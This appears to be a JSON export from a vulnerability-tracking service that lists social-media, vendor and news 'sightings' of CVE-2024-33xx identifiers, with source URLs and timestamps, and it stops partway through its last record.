{"vulnerability": "2024-33", "sightings": [{"uuid": "d4896626-d2bd-4279-bcdb-2bf22adc5c82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33510", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113476053415922211", "content": "", "creation_timestamp": "2024-11-13T14:12:43.394973Z"}, {"uuid": "a3a16cc2-821b-49bf-8243-bf5527b101a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33660", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470679623102730", "content": "", "creation_timestamp": "2024-11-12T15:26:05.543563Z"}, {"uuid": "8687e31c-3ae2-4350-9740-7048ed17ced2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33658", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470620622037296", "content": "", "creation_timestamp": "2024-11-12T15:11:05.428763Z"}, {"uuid": "6d1c9db6-cb78-4769-9b7c-861eea42a332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33505", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113471621703891497", "content": "", "creation_timestamp": "2024-11-12T19:25:40.987400Z"}, {"uuid": "a5637552-ac82-4d86-a1d2-8bfd992b890e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3370", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113504110989877358", "content": "", "creation_timestamp": "2024-11-18T13:08:07.808319Z"}, {"uuid": "9b6883e9-109c-48f6-87b9-8afe21f4341a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33611", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478178056591718", "content": "", "creation_timestamp": "2024-11-13T23:13:02.703940Z"}, {"uuid": "f9218bde-7395-413d-a6c8-b3525d7aa003", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33617", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478178070440531", "content": "", "creation_timestamp": "2024-11-13T23:13:03.080419Z"}, {"uuid": "82d623cb-60ab-4510-9aec-4c9f13286fa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33624", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478178084196420", "content": "", "creation_timestamp": "2024-11-13T23:13:03.169516Z"}, {"uuid": "4d808862-9ec5-41cb-95eb-d49ae527ccc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3334", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113488766545863554", "content": "", "creation_timestamp": "2024-11-15T20:05:50.764713Z"}, {"uuid": "1514de1c-5ed5-4b91-a243-bcb4d5671de2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33231", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113506283883332311", "content": "", "creation_timestamp": "2024-11-18T22:20:43.493963Z"}, {"uuid": "3d7db450-2cb4-4a4f-8b49-ed8090fff636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33439", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113516778892421525", "content": "", "creation_timestamp": "2024-11-20T18:49:45.656851Z"}, {"uuid": "d380a8c2-eb96-4f20-817c-d8fc6775a1ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33605", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113548181027221474", "content": "", "creation_timestamp": "2024-11-26T07:55:43.304913Z"}, {"uuid": "e85f36e1-f02b-4242-a0d1-4e9ff8524589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33610", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113548181041276580", "content": "", "creation_timestamp": "2024-11-26T07:55:43.524859Z"}, {"uuid": "893c7d4e-cfb0-4701-9433-c61133df8995", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33616", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113548240043382887", "content": "", "creation_timestamp": "2024-11-26T08:10:44.101312Z"}, {"uuid": "cec2b759-1ea4-4915-8b60-ef863d619b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33036", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113582734642491600", "content": "", "creation_timestamp": "2024-12-02T10:23:09.594823Z"}, {"uuid": "c84bacf8-e050-4e16-8d48-5e81d08d9061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33037", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113582734657973290", "content": "", "creation_timestamp": "2024-12-02T10:23:09.914611Z"}, {"uuid": "8c0d9ca5-2210-439f-b7f9-925fe5794de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33039", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113582734671758966", "content": "", "creation_timestamp": "2024-12-02T10:23:10.170144Z"}, {"uuid": "60a530e4-9e6b-4ed3-a315-1609a2778f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33040", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113582734686556030", "content": "", "creation_timestamp": "2024-12-02T10:23:10.249451Z"}, {"uuid": "55536d08-e921-42ba-afa7-e647c78e30aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33044", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113582793707850986", "content": "", "creation_timestamp": "2024-12-02T10:38:10.837413Z"}, {"uuid": "7a0f92f0-d7f8-49bb-a3df-522ea266be00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33053", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113582793723358521", "content": "", "creation_timestamp": "2024-12-02T10:38:11.171746Z"}, {"uuid": "6bf938b7-5871-4f49-8a15-6bb11a7ca71d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33056", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113582793756408007", "content": "", "creation_timestamp": "2024-12-02T10:38:11.537942Z"}, {"uuid": "380c35e5-741e-4454-bdc2-52f4cb717a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33063", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113582793789510155", "content": "", "creation_timestamp": "2024-12-02T10:38:12.129212Z"}, {"uuid": "1d9d7afe-46d4-4f1e-956e-161ffa355ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33044", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113583379164802804", "content": "", "creation_timestamp": "2024-12-02T13:07:04.114917Z"}, {"uuid": "520d9c77-5d29-4d3f-bc1f-a6165020a3ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33063", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113583485346423973", "content": "", "creation_timestamp": "2024-12-02T13:34:04.305361Z"}, {"uuid": "48c864a3-3b48-4473-ba81-66b462612186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33060", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113663459141722483", "content": "", "creation_timestamp": "2024-12-16T16:32:27.970894Z"}, {"uuid": "f96c5a7f-f09c-4f4f-98e9-c110116fbfc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33060", "type": "seen", "source": "MISP/87c159e3-5105-491e-87ba-94a7f0a52e09", "content": "", "creation_timestamp": "2024-12-18T13:15:27.000000Z"}, {"uuid": "f6dd50eb-a86e-48ff-ada0-57d3ca48ec9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33060", "type": "seen", "source": "https://googleprojectzero.blogspot.com/2024/12/qualcomm-dsp-driver-unexpectedly-excavating-exploit.html", "content": "", "creation_timestamp": "2024-12-16T05:11:23.521000Z"}, {"uuid": "69d18412-2598-4735-bdfc-879316736a16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lfblb3exm42c", "content": "", "creation_timestamp": "2025-01-09T01:57:49.248709Z"}, {"uuid": "73b2dff9-4e2f-4157-8560-f8402ca38221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33502", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113827237097343216", "content": "", "creation_timestamp": "2025-01-14T14:43:21.049194Z"}, {"uuid": "13ba7483-1908-4f4b-aac9-051aed9faa56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33299", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113805731862451658", "content": "", "creation_timestamp": "2025-01-10T19:34:17.190425Z"}, {"uuid": "50b5f0e4-c012-4d13-9901-929d4e4c3bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33297", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113805731833614792", "content": "", "creation_timestamp": "2025-01-10T19:34:16.720705Z"}, {"uuid": "358eb004-6915-45ce-bbe1-61fe2aa43ce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33298", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113805731848129659", "content": "", "creation_timestamp": "2025-01-10T19:34:17.095989Z"}, {"uuid": "32e7f065-6d65-4d64-bf4c-606fcc3e6f23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33503", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113827296094196944", "content": "", "creation_timestamp": "2025-01-14T14:58:21.192185Z"}, {"uuid": "f91333de-03c5-4749-bfb3-996c880410fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33297", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lffz3mrbio2d", "content": "", "creation_timestamp": "2025-01-10T20:15:57.229498Z"}, {"uuid": "dbbf7f4c-d6a2-40c5-9a02-5db6682d049e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33298", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lffz3p4snp2a", "content": "", "creation_timestamp": "2025-01-10T20:15:59.731540Z"}, {"uuid": "f4949c40-4b22-4900-9e52-a4d15e8b7df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33299", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lffz3riljz2f", "content": "", "creation_timestamp": "2025-01-10T20:16:02.171168Z"}, {"uuid": "43f794b0-fc62-494a-b226-d0a723537fd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33298", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfg2dkgr4a2w", "content": "", "creation_timestamp": "2025-01-10T20:38:17.041233Z"}, {"uuid": "a9fc199f-b695-4d19-b879-1c90f2e71bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33502", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827355879730690", "content": "", "creation_timestamp": "2025-01-14T15:13:33.726870Z"}, {"uuid": "603ef6f3-e5d1-4e1d-80b2-c34406d6b916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33112", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113721043770547462", "content": "", "creation_timestamp": "2024-12-26T20:36:59.873135Z"}, {"uuid": "a5abd7a4-6f79-41be-8a93-6a1f25711bcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3leayuapjiy2p", "content": "", "creation_timestamp": "2024-12-27T03:03:19.410398Z"}, {"uuid": "8cafb7f9-73a4-4e6c-9e83-2f9590109db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3leb3tnmvq323", "content": "", "creation_timestamp": "2024-12-27T03:56:41.735159Z"}, {"uuid": "95a75afc-2387-4ce3-b41e-787957d23aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113722788663656122", "content": "", "creation_timestamp": "2024-12-27T04:00:44.662231Z"}, {"uuid": "3101eab4-518b-4f6f-beea-f4e55b26c243", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/shiftygeek.bsky.social/post/3lebcoztkb22w", "content": "", "creation_timestamp": "2024-12-27T05:59:24.240928Z"}, {"uuid": "093ab06f-bb04-4b3c-ae5b-7c9d93d90c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-3393", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lebfc3co7k2f", "content": "", "creation_timestamp": "2024-12-27T06:45:49.022622Z"}, {"uuid": "e3787818-079f-4ff5-94d3-6496b2550830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-3393", "content": "", "creation_timestamp": "2024-12-27T01:30:00.000000Z"}, {"uuid": "fd232aea-35c5-46e0-85ec-f7c19fada26c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/reynardsec.bsky.social/post/3leblnia5xc2d", "content": "", "creation_timestamp": "2024-12-27T08:39:38.285363Z"}, {"uuid": "c0178718-05f7-43ea-abba-fe0e1648cc55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lebmyefqba22", "content": "", "creation_timestamp": "2024-12-27T09:03:32.612007Z"}, {"uuid": "10a002e6-0450-4187-abf9-c5b6bd8c8d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33112", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lebqiq2tvs2l", "content": "", "creation_timestamp": "2024-12-27T10:06:23.408546Z"}, {"uuid": "14d54184-ee14-47d0-93bc-521ecaa0cce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebqzw3ice2a", "content": "", "creation_timestamp": "2024-12-27T10:15:59.378484Z"}, {"uuid": "f81e69b0-9640-4e64-ab55-2737eed5d75d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://thehackernews.com/2024/12/palo-alto-releases-patch-for-pan-os-dos.html", "content": "", "creation_timestamp": "2024-12-27T06:34:00.000000Z"}, {"uuid": "1e9278a6-e4d1-4940-b78f-fb828ad2f3b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lebv6l6lx62q", "content": "", "creation_timestamp": "2024-12-27T11:30:10.700886Z"}, {"uuid": "c932c55b-eca3-446b-be25-bf5e35403d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113725130421043226", "content": "", "creation_timestamp": "2024-12-27T13:56:16.750865Z"}, {"uuid": "64774350-0e85-4b4b-abce-e3693568efd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33297", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfg2dkrrg52e", "content": "", "creation_timestamp": "2025-01-10T20:38:17.703527Z"}, {"uuid": "97876e62-4987-4aae-b472-7476007d17fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33299", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfg2dl3ptk2h", "content": "", "creation_timestamp": "2025-01-10T20:38:19.272020Z"}, {"uuid": "9cd04e25-4ca4-4675-909a-1da2f28d509b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lec7mpgb422n", "content": "", "creation_timestamp": "2024-12-27T14:37:03.583836Z"}, {"uuid": "f9bd49a5-1a76-4925-b0ff-b3b5b94d5132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/coldwarkiid.bsky.social/post/3lecfkr5dsk2h", "content": "", "creation_timestamp": "2024-12-27T16:23:22.984689Z"}, {"uuid": "307558be-ce47-4308-b9b9-b8fa50a8d6f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/113725747984875127", "content": "", "creation_timestamp": "2024-12-27T16:33:33.394485Z"}, {"uuid": "41ccab44-bdd3-4a76-9258-100cf1deedec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3lecg577xrd2x", "content": "", "creation_timestamp": "2024-12-27T16:33:38.965388Z"}, {"uuid": "0a28157f-1be8-42fc-9745-af18e399128c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/GossiTheDog.cyberplace.social.ap.brid.gy/post/3lecg4ynn4yr2", "content": "", "creation_timestamp": "2024-12-27T16:33:40.063479Z"}, {"uuid": "cd7c9ae0-1357-4eb5-a429-ec339d7854f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/jussimetso.com/post/3lechf2llms2t", "content": "", "creation_timestamp": "2024-12-27T16:55:50.389821Z"}, {"uuid": "ea09bd61-798d-4cb5-b5cd-f2490bb3bf35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/taggart-tech.com/post/3lechndrw4s2v", "content": "", "creation_timestamp": "2024-12-27T17:00:37.378793Z"}, {"uuid": "7e864b83-d4bd-4620-87cd-48d5bf7487b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3lecjfztpus26", "content": "", "creation_timestamp": "2024-12-27T17:32:23.858279Z"}, {"uuid": "f8925a83-f809-48b6-a9c9-a4cb79237aac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lecm636c622c", "content": "", "creation_timestamp": "2024-12-27T18:21:30.695076Z"}, {"uuid": "5787b393-0c61-441d-b531-2e443eb8a2c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/youranonriots.bsky.social/post/3lecnkuso4c2g", "content": "", "creation_timestamp": "2024-12-27T18:46:35.082135Z"}, {"uuid": "f63bc0cd-6847-4f55-a179-938632830da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3lecnwyjuf22w", "content": "", "creation_timestamp": "2024-12-27T18:53:25.912312Z"}, {"uuid": "efaed1f9-55ae-4642-b729-834e3987208f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lecoiuepor27", "content": "", "creation_timestamp": "2024-12-27T19:03:19.436767Z"}, {"uuid": "f552fc24-59f8-4821-b481-9fcc444597b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-3393", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3lecojw63an2c", "content": "", "creation_timestamp": "2024-12-27T19:03:54.769314Z"}, {"uuid": "0b6aa5f1-da94-4b3d-9d81-1d35f7d61433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/afonsoinfante.bsky.social/post/3lecrdykxhc2y", "content": "", "creation_timestamp": "2024-12-27T19:54:19.273642Z"}, {"uuid": "585c85c9-ea4f-44f2-afc7-f8d44d067f39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/gerardgermaine.bsky.social/post/3lecsdbygjs2c", "content": "", "creation_timestamp": "2024-12-27T20:12:00.246428Z"}, {"uuid": "65c22b91-ade0-4b63-9b50-23c5183cb58a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3lecub7crjs2s", "content": "", "creation_timestamp": "2024-12-27T20:46:26.341404Z"}, {"uuid": "899dc1fc-9708-479e-be87-c4add0fa1633", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3lecudiwids2s", "content": "", "creation_timestamp": "2024-12-27T20:47:43.014564Z"}, {"uuid": "d0fb0459-fb08-40af-8084-06fe00255675", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/tribeofdan-michael.com/post/3lecvcdq4ps2i", "content": "", "creation_timestamp": "2024-12-27T21:04:58.165634Z"}, {"uuid": "40d5856c-2869-4ffe-9be6-93b48236530a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3lecvma6y7t2e", "content": "", "creation_timestamp": "2024-12-27T21:10:28.848224Z"}, {"uuid": "a4d2e6f9-bab3-49d8-a53e-acd3b805c433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3ledb64fbw22v", "content": "", "creation_timestamp": "2024-12-28T00:37:22.609450Z"}, {"uuid": "7ffb6ee4-3a20-4870-8db8-8aefd1d96514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": 